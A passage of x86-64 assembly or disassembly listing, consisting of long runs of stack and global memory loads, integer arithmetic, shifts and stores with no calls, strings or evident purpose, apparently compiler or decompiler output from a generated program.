and eax, ecx
mov word [rsp + 0xdec], ax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0x8720], rax
mov rax, qword [rsp + 0x70a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x71a8]
mov dword [rcx], eax
lea rax, [rsp + 0x6bb0]
mov qword [rsp + 0x8728], rax
mov rax, qword [rsp + 0x7720]
mov rcx, qword [rsp + 0x7898]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8290]
mov ecx, dword [rsp + 0x3e20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d84], eax
mov rax, qword [rsp + 0x7b28]
movzx eax, byte [rax]
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0xe5c]
movzx ecx, word [rsp + 0xcb8]
add eax, ecx
mov word [0x14017a5c0], ax
mov rax, qword [rsp + 0x7650]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
and eax, ecx
mov byte [rsp + 0xb1], al
movzx eax, byte [0x14017a4ff]
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x7490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7360]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xda0], ax
mov rax, qword [rsp + 0x6b00]
mov ecx, dword [rsp + 0x3c68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c98], eax
mov rax, qword [0x140179010]
mov qword [rsp + 0x8730], rax
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0x6f68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x78a8], rax
lea rax, [rsp + 0x3d48]
mov qword [rsp + 0x8738], rax
mov rax, qword [0x14017a668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x93]
add eax, ecx
mov rcx, qword [rsp + 0x6f88]
mov byte [rcx], al
mov rax, qword [rsp + 0x7f18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8280]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401790c4], ax
mov rax, qword [rsp + 0x7778]
movsx eax, word [rax]
mov rcx, qword [0x14017a690]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7360]
mov word [rcx], ax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7208]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0xdf0], ax
lea rax, [rsp + 0xcf]
mov qword [rsp + 0x8740], rax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x7d10]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x86a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7aa0]
mov eax, dword [rax]
mov dword [rsp + 0x3f2c], eax
mov eax, dword [rsp + 0x3f08]
mov rcx, qword [rsp + 0x7a48]
mov qword [rsp + 0x8748], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8748]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3f1c], eax
mov rax, qword [rsp + 0x73e8]
mov rcx, qword [0x140179010]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7630], rax
movzx eax, byte [rsp + 0x55]
movzx ecx, byte [rsp + 0x111]
sub eax, ecx
mov rcx, qword [0x14017a618]
mov byte [rcx], al
lea rax, [0x14017a808]
mov qword [rsp + 0x8750], rax
mov rax, qword [rsp + 0x79f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce0]
sub eax, ecx
mov rcx, qword [rsp + 0x8360]
mov word [rcx], ax
lea rax, [rsp + 0xcf4]
mov qword [rsp + 0x8758], rax
mov rax, qword [rsp + 0x7eb0]
movzx eax, word [rax]
mov rcx, qword [0x14017a628]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x74f0]
mov rcx, qword [rsp + 0x7730]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7988], rax
lea rax, [rsp + 0x3e84]
mov qword [rsp + 0x8760], rax
mov rax, qword [rsp + 0x7ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3da0], eax
mov rax, qword [rsp + 0x6bf8]
mov qword [rsp + 0x8768], rax
mov rax, qword [rsp + 0x78e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8468]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017904b], al
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7a60]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x6f70]
mov word [rcx], ax
movsx eax, word [rsp + 0xf34]
mov rcx, qword [rsp + 0x7bb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0x79d8]
movzx eax, byte [rax]
mov byte [rsp + 0x11f], al
movzx eax, byte [rsp + 0x66]
movzx ecx, byte [rsp + 0xc7]
sub eax, ecx
mov rcx, qword [rsp + 0x7cf0]
mov byte [rcx], al
lea rax, [rsp + 0x3d20]
mov qword [rsp + 0x8770], rax
mov eax, dword [rsp + 0x3c68]
mov ecx, dword [rsp + 0x3cec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a98]
mov rax, qword [rax]
mov qword [rsp + 0x8778], rax
mov rax, qword [rsp + 0x8198]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x71d8]
shr rax, cl
mov qword [rsp + 0x6d08], rax
lea rax, [rsp + 0x93]
mov qword [0x14017a868], rax
mov rax, qword [rsp + 0x77f8]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a55d]
xor eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x8780], rax
mov rax, qword [rsp + 0x7d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
or eax, ecx
mov rcx, qword [rsp + 0x7538]
mov byte [rcx], al
movzx eax, word [rsp + 0xc14]
mov word [rsp + 0xf3c], ax
mov eax, dword [rsp + 0x3bc8]
mov rcx, qword [rsp + 0x7ec0]
mov qword [rsp + 0x8788], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8788]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7378]
mov rcx, qword [rsp + 0x6ea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6e58], rax
lea rax, [rsp + 0x74a0]
mov qword [rsp + 0x8790], rax
mov rax, qword [rsp + 0x8048]
mov rcx, qword [rsp + 0x6c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7c30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ba8]
movzx eax, byte [rax]
mov byte [0x14017a583], al
mov rax, qword [rsp + 0x7f38]
movzx eax, byte [rax]
mov byte [rsp + 0x120], al
mov rax, qword [0x14017a5b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe5c]
sub eax, ecx
mov word [rsp + 0xe88], ax
movsx eax, word [rsp + 0xd94]
movsx ecx, word [rsp + 0xd4c]
sub eax, ecx
mov rcx, qword [rsp + 0x6e50]
mov word [rcx], ax
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0x121], al
mov rax, qword [rsp + 0x7950]
mov rcx, qword [rsp + 0x7dc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7730], rax
mov rax, qword [rsp + 0x7ea0]
mov eax, dword [rax]
mov dword [rsp + 0x3f30], eax
mov rax, qword [rsp + 0x81e0]
mov rcx, qword [rsp + 0x7690]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x73c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7f48]
mov eax, dword [rax]
mov ecx, dword [0x140179004]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8248]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8080]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8438]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179038], ax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x8798], rax
mov rax, qword [0x14017a568]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d]
add eax, ecx
mov byte [rsp + 0xaf], al
lea rax, [rsp + 0xde8]
mov qword [rsp + 0x87a0], rax
movsx eax, word [rsp + 0xce0]
movsx ecx, word [rsp + 0xea4]
or eax, ecx
mov word [rsp + 0xc84], ax
lea rax, [rsp + 0x3d00]
mov qword [rsp + 0x87a8], rax
mov rax, qword [rsp + 0x7830]
movzx ecx, al
mov rax, qword [rsp + 0x7078]
sar rax, cl
mov qword [rsp + 0x8088], rax
mov rax, qword [rsp + 0x6d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3e04]
shl eax, cl
mov dword [rsp + 0x3ccc], eax
mov rax, qword [rsp + 0x7c00]
mov qword [rsp + 0x87b0], rax
movzx eax, word [rsp + 0xe10]
movzx ecx, word [rsp + 0xde4]
cdq
idiv ecx
mov word [0x14017903c], ax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
mov rcx, qword [0x14017a588]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7b58]
mov byte [rcx], al
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x122], al
mov rax, qword [rsp + 0x8438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7490]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7e40]
mov word [rcx], ax
movzx eax, word [rsp + 0xd14]
mov rcx, qword [0x14017a6e8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov dword [rsp + 0x3f34], eax
mov rax, qword [rsp + 0x74f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3db4], eax
mov rax, qword [0x140179010]
mov qword [rsp + 0x87b8], rax
mov rax, qword [rsp + 0x7468]
mov rcx, qword [rsp + 0x71c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x70d0]
mov qword [rcx], rax
lea rax, [rsp + 0xee8]
mov qword [0x14017a870], rax
mov rax, qword [rsp + 0x77f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdb]
add eax, ecx
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x7b70]
movzx eax, byte [rax]
mov byte [rsp + 0x123], al
mov rax, qword [rsp + 0x7850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd8c]
add eax, ecx
mov rcx, qword [rsp + 0x77a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b30]
movzx eax, byte [rax]
mov byte [rsp + 0x124], al
mov rax, qword [rsp + 0x6e68]
mov rcx, qword [rsp + 0x82e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x75f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x74f0]
mov rax, qword [rax]
mov qword [rsp + 0x87c0], rax
mov rax, qword [rsp + 0x6e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b94], eax
mov rax, qword [rsp + 0x7df8]
mov ecx, dword [rsp + 0x3d5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3dd8], eax
lea rax, [rsp + 0x76]
mov qword [rsp + 0x87c8], rax
lea rax, [rsp + 0xf28]
mov qword [0x14017a878], rax
movsx eax, byte [rsp + 0xec]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7b58]
mov byte [rcx], al
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x87d0], rax
mov rax, qword [rsp + 0x7628]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcac]
and eax, ecx
mov word [rsp + 0xc50], ax
mov rax, qword [rsp + 0x7a68]
mov rcx, qword [rsp + 0x80b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x85c8], rax
mov rax, qword [rsp + 0x7e18]
mov eax, dword [rax]
mov dword [rsp + 0x3f38], eax
mov rax, qword [rsp + 0x8318]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c48]
shl eax, cl
mov dword [rsp + 0x3e50], eax
lea rax, [rsp + 0x7648]
mov qword [rsp + 0x87d8], rax
movzx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x7a40]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xfd], al
movzx eax, word [rsp + 0xe7c]
mov rcx, qword [rsp + 0x7a90]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017a7e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7650]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
sub eax, ecx
mov rcx, qword [rsp + 0x7c08]
mov byte [rcx], al
movzx eax, word [rsp + 0xe4c]
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x7948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7118]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x83e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3c14]
mov dword [rsp + 0x3f3c], eax
mov rax, qword [rsp + 0x6e20]
mov rcx, qword [rsp + 0x8778]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8020], rax
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7730]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x84b8]
mov qword [rcx], rax
lea rax, [rsp + 0x3cec]
mov qword [rsp + 0x87e0], rax
mov rax, qword [rsp + 0x7490]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeac]
add eax, ecx
mov word [rsp + 0xd34], ax
mov rax, qword [rsp + 0x6eb8]
movzx eax, word [rax]
movzx ecx, word [0x14017a7e0]
add eax, ecx
mov word [0x1401790a8], ax
lea rax, [rsp + 0x47]
mov qword [rsp + 0x87e8], rax
movsx eax, word [rsp + 0xee0]
movsx ecx, word [rsp + 0xed8]
add eax, ecx
mov rcx, qword [rsp + 0x8180]
mov word [rcx], ax
lea rax, [rsp + 0xa9]
mov qword [rsp + 0x87f0], rax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3dc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d20], eax
mov eax, dword [rsp + 0x3d94]
mov ecx, dword [rsp + 0x3d74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e60], eax
mov rax, qword [rsp + 0x7a10]
mov rax, qword [rax]
mov qword [rsp + 0x87f8], rax
mov rax, qword [rsp + 0x79e0]
mov rcx, qword [rsp + 0x84b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6fc8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xda]
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x85f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x78b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [str.D_r__t_], ax
movzx eax, byte [rsp + 0x4b]
mov rcx, qword [rsp + 0x7a80]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xc5], al
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x7398]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xe98], ax
mov rax, qword [0x14017a780]
movzx eax, byte [rax]
mov byte [rsp + 0x126], al
mov rax, qword [rsp + 0x87f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
xor eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x7930]
mov qword [rsp + 0x8800], rax
mov eax, dword [rsp + 0x3c4c]
mov rcx, qword [rsp + 0x6c68]
mov qword [rsp + 0x8808], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8808]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3dac], eax
mov rax, qword [rsp + 0x7680]
mov ecx, dword [rsp + 0x3d7c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f0c], eax
lea rax, [rsp + 0x7fe0]
mov qword [rsp + 0x8810], rax
mov rax, qword [rsp + 0x7500]
movsx eax, word [rax]
movsx ecx, word [0x140179024]
add eax, ecx
mov word [0x1401790cc], ax
mov rax, qword [rsp + 0x7348]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcfc]
add eax, ecx
mov word [rsp + 0xd14], ax
mov rax, qword [rsp + 0x7640]
movzx eax, byte [rax]
mov byte [rsp + 0x127], al
movsx eax, byte [0x14017a4e2]
movsx ecx, byte [rsp + 0x124]
and eax, ecx
mov rcx, qword [rsp + 0x84a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7360]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe9c], ax
mov rax, qword [rsp + 0x8118]
mov rax, qword [rax]
mov qword [rsp + 0x8818], rax
mov rax, qword [rsp + 0x7098]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f08]
mov eax, dword [rax]
mov dword [rsp + 0x3f40], eax
mov rax, qword [rsp + 0x7fb8]
mov rcx, qword [rsp + 0x7e28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7418], rax
mov rax, qword [rsp + 0x8560]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7948]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179067], al
lea rax, [rsp + 0xe20]
mov qword [rsp + 0x8820], rax
movsx eax, word [rsp + 0xdf4]
movsx ecx, word [rsp + 0xd4c]
add eax, ecx
mov word [rsp + 0xe9c], ax
movzx eax, word [0x140179060]
mov rcx, qword [rsp + 0x7208]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7348]
mov word [rcx], ax
lea rax, [rsp + 0xea]
mov qword [rsp + 0x8828], rax
mov rax, qword [rsp + 0x76f0]
mov rcx, qword [rsp + 0x6cb0]
mov qword [rsp + 0x8830], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8830]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x76b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3e48]
mov dword [rsp + 0x3f44], eax
mov rax, qword [rsp + 0x6fb0]
mov rcx, qword [rsp + 0x7930]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7720], rax
mov rax, qword [rsp + 0x6d48]
mov rcx, qword [rsp + 0x78c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3cc4], eax
mov rax, qword [rsp + 0x7298]
movzx eax, word [rax]
mov word [0x14017a880], ax
lea rax, [rsp + 0x4b]
mov qword [rsp + 0x8838], rax
mov rax, qword [rsp + 0x75d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
and eax, ecx
mov rcx, qword [rsp + 0x7ba0]
mov byte [rcx], al
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x8840], rax
mov rax, qword [rsp + 0x7cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd6]
sub eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x7e08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8178]
mov qword [rcx], rax
lea rax, [rsp + 0x3ccc]
mov qword [rsp + 0x8848], rax
mov rax, qword [rsp + 0x7f70]
mov rcx, qword [rsp + 0x6c18]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7418], rax
mov eax, dword [rsp + 0x3dac]
mov dword [rsp + 0x3f48], eax
movzx eax, byte [0x140179033]
mov rcx, qword [rsp + 0x7758]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a5a0]
mov byte [rcx], al
movsx eax, word [rsp + 0xc60]
movsx ecx, word [rsp + 0xe90]
and eax, ecx
mov word [rsp + 0xe00], ax
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x128], al
movzx eax, word [0x140179074]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd9c], ax
movzx eax, byte [rsp + 0xd5]
movzx ecx, byte [rsp + 0xb8]
sub eax, ecx
mov rcx, qword [rsp + 0x7d80]
mov byte [rcx], al
mov eax, dword [rsp + 0x3db8]
mov dword [rsp + 0x3f4c], eax
mov rax, qword [rsp + 0x8810]
mov rcx, qword [rsp + 0x8450]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a30], rax
mov rax, qword [rsp + 0x8630]
mov rax, qword [rax]
mov qword [rsp + 0x8850], rax
mov rax, qword [rsp + 0x8208]
mov ecx, dword [rsp + 0x3d74]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8248]
mov dword [rcx], eax
mov rax, qword [0x14017a7f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7408]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140179040], ax
mov rax, qword [rsp + 0x7060]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7d30]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x60], al
lea rax, [0x140179078]
mov qword [rsp + 0x8858], rax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x78e8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x8860], rax
mov rax, qword [rsp + 0x7798]
mov ecx, dword [0x14017a4d0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x80d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ff8]
mov rcx, qword [rsp + 0x7168]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6f68], rax
lea rax, [rsp + 0x7698]
mov qword [rsp + 0x8868], rax
mov rax, qword [rsp + 0x73d8]
mov ecx, dword [rsp + 0x3dcc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6a78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017906b], al
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x129], al
movsx eax, word [rsp + 0xf34]
mov rcx, qword [0x14017a690]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc50], ax
movsx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0x7608]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd20], ax
movzx eax, word [rsp + 0xefc]
mov word [rsp + 0xf44], ax
mov eax, dword [rsp + 0x3e5c]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3e20]
mov dword [rsp + 0x3f50], eax
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rsp + 0x82c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7760], rax
lea rax, [rsp + 0x71b8]
mov qword [rsp + 0x8870], rax
movsx eax, word [rsp + 0xd04]
mov rcx, qword [rsp + 0x7438]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401790d0], ax
mov rax, qword [rsp + 0x6ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x86]
sub eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0x6d30]
movzx eax, byte [rax]
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc0c]
or eax, ecx
mov word [rsp + 0xde0], ax
lea rax, [0x140179010]
mov qword [rsp + 0x8878], rax
mov rax, qword [rsp + 0x8008]
movzx ecx, al
mov rax, qword [rsp + 0x8138]
shl rax, cl
mov qword [rsp + 0x7e28], rax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7498]
mov qword [rsp + 0x8880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8880]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3f18], eax
mov eax, dword [section..data]
mov dword [rsp + 0x3f54], eax
mov rax, qword [rsp + 0x7c38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8228]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x7670]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf30]
imul eax, ecx
mov rcx, qword [0x14017a628]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0x79c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdac]
and eax, ecx
mov word [rsp + 0xd94], ax
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [0x14017a4e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x76f8]
mov word [rcx], ax
lea rax, [rsp + 0x6d70]
mov qword [rsp + 0x8888], rax
mov eax, dword [rsp + 0x3f0c]
mov ecx, dword [rsp + 0x3e00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e98], eax
mov rax, qword [rsp + 0x80e8]
mov rax, qword [rax]
mov qword [rsp + 0x8890], rax
mov rax, qword [rsp + 0x7810]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76c8]
mov dword [rcx], eax
lea rax, [rsp + 0xeb0]
mov qword [rsp + 0x8898], rax
lea rax, [rsp + 0xc8]
mov qword [0x14017a888], rax
mov rax, qword [rsp + 0x7c50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8448]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe80], ax
movsx eax, byte [rsp + 0xd2]
mov rcx, qword [rsp + 0x7cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7c], al
movzx eax, word [rsp + 0xe10]
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x6d60]
mov ecx, dword [rsp + 0x3e74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3be4], eax
lea rax, [rsp + 0x3c40]
mov qword [rsp + 0x88a0], rax
mov rax, qword [rsp + 0x7768]
mov rcx, qword [rsp + 0x73c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7428], rax
mov rax, qword [rsp + 0x8668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7db0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x72d8], rax
lea rax, [rsp + 0x125]
mov qword [rsp + 0x88a8], rax
movzx eax, word [rsp + 0xdf0]
movzx ecx, word [rsp + 0xe84]
shl eax, cl
mov word [0x140179060], ax
mov rax, qword [rsp + 0x7618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d68]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0x76b8]
movzx eax, word [rax]
mov word [rsp + 0xf4c], ax
movzx eax, byte [rsp + 0xd9]
movzx ecx, byte [rsp + 0xbf]
or eax, ecx
mov rcx, qword [rsp + 0x78e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6fc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x81d8]
mov qword [rsp + 0x88b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x88b0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7eb8], rax
lea rax, [rsp + 0x7780]
mov qword [rsp + 0x88b8], rax
mov rax, qword [rsp + 0x71a8]
mov ecx, dword [rsp + 0x3edc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f54], eax
mov eax, dword [rsp + 0x3cd8]
mov dword [rsp + 0x3f58], eax
mov rax, qword [rsp + 0x7d80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x7170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
add eax, ecx
mov byte [0x14017a55e], al
mov rax, qword [rsp + 0x6d28]
movsx eax, word [rax]
